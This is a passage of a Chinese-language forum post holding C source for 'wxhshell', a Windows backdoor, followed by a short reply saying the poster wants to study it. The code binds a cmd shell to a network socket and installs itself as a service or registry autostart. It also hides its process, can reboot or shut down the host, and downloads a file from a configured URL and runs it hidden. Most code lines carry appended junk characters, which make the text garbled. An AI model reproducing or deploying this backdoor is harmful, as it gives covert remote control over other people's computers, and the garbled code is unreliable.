  if(DownloadFile(cmd,wsh)) ;=p;v .l  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WZ* &@|w  
  else Sx&mv.?X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :ICr\FY$  
  } /v$]X4 S`  
  else { 2np-Fc{S  
<^sAY P|  
    switch(cmd[0]) { l $Zs~@N  
  J/7 u7_  
  // 帮助 M?hFCt3Y  
  case '?': { <2)v9c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y6;@/[_  
    break; cVg$dt  
  } =,E'~P  
  // 安装 a71}y;W  
  case 'i': { me$$he  
    if(Install()) 8Mb$+^zU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M6x;BjrV  
    else Y[,U_GX/R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =n)#!i  
    break; rgn|24x  
    } {~1M  
  // 卸载 Dauo(Uhuo  
  case 'r': { z1qUz7  
    if(Uninstall()) 05g?jV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); my=~"bw4  
    else -faw:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [Ekgft&  
    break; 5j1 IH,yW  
    }  p1?J  
  // 显示 wxhshell 所在路径 a;yV#Y  
  case 'p': { auoA   
    char svExeFile[MAX_PATH]; L]NYYP-  
    strcpy(svExeFile,"\n\r"); 3H <`Z4;  
      strcat(svExeFile,ExeFile); 0k7"H]J  
        send(wsh,svExeFile,strlen(svExeFile),0); J\GKqt;5@  
    break; U%Ol^xl  
    } jL2MW(d^Q  
  // 重启 T-!|l7V~f  
  case 'b': { pfNThMf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1W7 iip,  
    if(Boot(REBOOT)) 6(sfpK'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Xr"d@2(  
    else {  l58l  
    closesocket(wsh); [$H( CH`  
    ExitThread(0); M'vXyb%$1  
    } LA>dkPB  
    break; A1 b6Zt  
    } X)Ocn`|  
  // 关机 ~Gwas0e Na  
  case 'd': { rcW#6VZ=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .Btv}b  
    if(Boot(SHUTDOWN)) BiI{8`M!$x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B~e7w 4  
    else { U(8I+xZ  
    closesocket(wsh); 25w6KBTe;:  
    ExitThread(0); Ic_tc  
    } eKS:7:X  
    break; f`bIQ9R  
    } )/ n29]  
  // 获取shell wfWS-pQ  
  case 's': { W>VAbm  
    CmdShell(wsh); 0L 7@2|a0  
    closesocket(wsh); 0n7HkDo  
    ExitThread(0); ^M"HSewo  
    break; b^;N>zx  
  } }v,W-gA  
  // 退出 yqC+P  
  case 'x': { ~F=#}6kg_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ds;Rb6WcnY  
    CloseIt(wsh); uk`d,xF   
    break; /XbY<pj  
    } 0FN~$+t)H  
  // 离开 2>`m<&y  
  case 'q': { ^glbxbhI4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1h& )I%`?  
    closesocket(wsh); P=}H1 #  
    WSACleanup(); zl,bMtQ  
    exit(1); rZb_1E<  
    break; l6yB_ M  
        } `W D*Q-&n  
  } @m }rQT  
  } 5I wX\  
`*|LI  
  // 提示信息 H@Kl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zvWO4\  
} zS,%msT^A  
  } ^ON-#  
(0O`A~M3  
  return; R4[. n@  
} HFpjNR  
k QB 1=c  
// shell模块句柄 U+I3P  
int CmdShell(SOCKET sock) &8IWDx.7}  
{ mNGb} lR  
STARTUPINFO si; m3h2/}%9`  
ZeroMemory(&si,sizeof(si)); 1"*Nb5s  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U1OLI]P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O1l4gduN|i  
PROCESS_INFORMATION ProcessInfo; Q';\tGy  
char cmdline[]="cmd"; qQ2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :XNK-A W  
  return 0; 4'd;'SvF  
} }A)^XZ/  
+5N^TnBtBL  
// 自身启动模式 KzxW?Ji$S  
int StartFromService(void) mkKRC;  
{ ZA 99vO  
typedef struct oX%PsS  
{ <VauJB*R  
  DWORD ExitStatus; #S/pYP`7  
  DWORD PebBaseAddress; p P_wBX  
  DWORD AffinityMask; tF{{cd  
  DWORD BasePriority; D>!v_v6  
  ULONG UniqueProcessId; 'd~, o[x  
  ULONG InheritedFromUniqueProcessId; 2_B;  
}   PROCESS_BASIC_INFORMATION; PprQq_j  
,.1&Ff)S  
PROCNTQSIP NtQueryInformationProcess; S5YDS|K  
A`+(VzZgJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0KNH=;d}  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Sm~? zU[k/  
=6L :I x  
  HANDLE             hProcess; VO\S>kw  
  PROCESS_BASIC_INFORMATION pbi; #! K~_DL  
FRs|!\S=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uL qpbn  
  if(NULL == hInst ) return 0; 2- |j  
{VrAh*#h  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Vj9`[1}1Z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~7eUt^SD;  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); qHcY 2LV  
q? gQ  
  if (!NtQueryInformationProcess) return 0; J~nJpUyP*  
$! fz~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AVdd?Ew  
  if(!hProcess) return 0; r5X BcG(2  
c@"i?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; X(0:zb,#G*  
oeRYyJ  
  CloseHandle(hProcess); @$N*lrM2  
2={K-s20  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); q%)*,I<  
if(hProcess==NULL) return 0; _bvtJZ3i  
SIyS.!k>  
HMODULE hMod; HY%6eUhj  
char procName[255]; PN)TX~}  
unsigned long cbNeeded; 4w3V!K8  
UJyiRP:#]>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b5iJ m-  
s OrY^cY;  
  CloseHandle(hProcess); XEe+&VQmY  
k(w9vt0?  
if(strstr(procName,"services")) return 1; // 以服务启动 RvgAI`T7$  
=*U%j  
  return 0; // 注册表启动 mF$jC:Tb  
} d/-0B<ts  
@)!1#^(}%  
// 主模块 #L)4 |  
int StartWxhshell(LPSTR lpCmdLine) {f6A[ZO;J  
{ ^LQ lfd  
  SOCKET wsl; gIf+.^/m1  
BOOL val=TRUE; IhFw{=2*  
  int port=0; NnSI)*%'  
  struct sockaddr_in door; c^q O@%s  
LTlC}3c28f  
  if(wscfg.ws_autoins) Install(); RQ$o'U9A  
dwsy(g7  
port=atoi(lpCmdLine); pCud` :o"  
ZLFdnC@  
if(port<=0) port=wscfg.ws_port; J{'zkR?Lr  
$=6kh+n@  
  WSADATA data; EJSgTtp 2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E6KBpQcd[  
5{x[EXE'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    +T8XX@#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); #Z3I%bkw H  
  door.sin_family = AF_INET; bI6V &Dd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4UX]S\X  
  door.sin_port = htons(port); e"&9G}.f  
B?zS_Ue  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /`]|_>'  
closesocket(wsl); +'6ea+$  
return 1; Ee?K|_\${  
} OM&\Mo  
MRY)m@*+6  
  if(listen(wsl,2) == INVALID_SOCKET) { 5|B(K @<  
closesocket(wsl); ]t!}D6p  
return 1; '-1jWw:8  
} <45dy5!Tz  
  Wxhshell(wsl); 2K7:gd8Ru  
  WSACleanup(); aN);P>  
]oZ,{Q5~  
return 0; CSg5i&A=  
m{=~| I  
} :!it7vZ  
+^% &8<  
// 以NT服务方式启动 1'._SMP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *Uw#  
{ 5]O LV1Xt  
DWORD   status = 0; zdQu%q  
  DWORD   specificError = 0xfffffff; w<^2h}5  
@'| 6lG  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E/Gs',Y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; n<(5B|~y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Kd|l\k!  
  serviceStatus.dwWin32ExitCode     = 0; ;>x1)|n5  
  serviceStatus.dwServiceSpecificExitCode = 0; J hq5G"  
  serviceStatus.dwCheckPoint       = 0; .$E~.6J %i  
  serviceStatus.dwWaitHint       = 0; 8 $*cfOC  
TKs@?Q,J  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rgY?X$1q_  
  if (hServiceStatusHandle==0) return; ,Z\,IRn  
FYE9&{]h  
status = GetLastError(); !z6/.>QJ~  
  if (status!=NO_ERROR) Jj _+YfIM  
{ p 7E{es|J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; n[p9$W`  
    serviceStatus.dwCheckPoint       = 0; [Kj#KJxy  
    serviceStatus.dwWaitHint       = 0; F v^80M=z  
    serviceStatus.dwWin32ExitCode     = status; Sy7^;/(ZZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; |Btx&'m  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q~8&pP8 I!  
    return; Env}gCX  
  } a9q?9X  
 C(Gb  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; T/.y(8!0I8  
  serviceStatus.dwCheckPoint       = 0; ra#)*fG,~  
  serviceStatus.dwWaitHint       = 0; aNf3 R;*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); n7YWc5:CaL  
} MicVNs  
KKTfxNxJn  
// 处理NT服务事件,比如:启动、停止 WiCM,wDi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ENF@6]  
{ 2o7C2)YT$  
switch(fdwControl) U=?"j-wN  
{ $">NW& i(  
case SERVICE_CONTROL_STOP: {qdhp_~^l  
  serviceStatus.dwWin32ExitCode = 0; ?fX8WRdh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _A0avMD}  
  serviceStatus.dwCheckPoint   = 0; c!FjHlAnP  
  serviceStatus.dwWaitHint     = 0; J_br%AG<p  
  { H;8]GE2n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^RDXX+  
  } 42[:s:  
  return; -Ce4px?3  
case SERVICE_CONTROL_PAUSE: @z?.P;f9#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; @x>2|`65Y  
  break; c15^<6]g  
case SERVICE_CONTROL_CONTINUE: 5|={1Lp24g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0'2{[xF  
  break; :1  
case SERVICE_CONTROL_INTERROGATE: P VW9iT+c  
  break; hl~F1"q )  
}; `-`iS?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %l P   
} @Sd:]h:f-  
4sgwQ$m)  
// 标准应用程序主函数 u:kY4T+Z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kEDZqUD  
{ L|'ME| '  
9&FV =}MO  
// 获取操作系统版本 ,TA [el%#  
OsIsNt=GetOsVer(); j`pR;XL1[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i*E`<9  
ee?ZkU#@  
  // 从命令行安装 %*; 8m'  
  if(strpbrk(lpCmdLine,"iI")) Install(); +>%+r  
)Ea_:C'  
  // 下载执行文件 M!i5StGC  
if(wscfg.ws_downexe) { -H;y_^2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) h>Pg:*N,(  
  WinExec(wscfg.ws_filenam,SW_HIDE); $ T_EsnN  
} { qx,X.5$  
eBKIdR%k  
if(!OsIsNt) { ;5_S  
// 如果时win9x,隐藏进程并且设置为注册表启动 wx 'Tv  
HideProc(); ty=?SZF  
StartWxhshell(lpCmdLine); 2g545r.  
} \<>%_y'/)h  
else a<36`#N  
  if(StartFromService()) z=pV{ '  
  // 以服务方式启动 .T X& X  
  StartServiceCtrlDispatcher(DispatchTable); oh)l\  
else UAO#$o(  
  // 普通方式启动 NUtyUv  
  StartWxhshell(lpCmdLine); ~n 9DG>a  
T+"y8#:  
return 0; EqluxD=  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五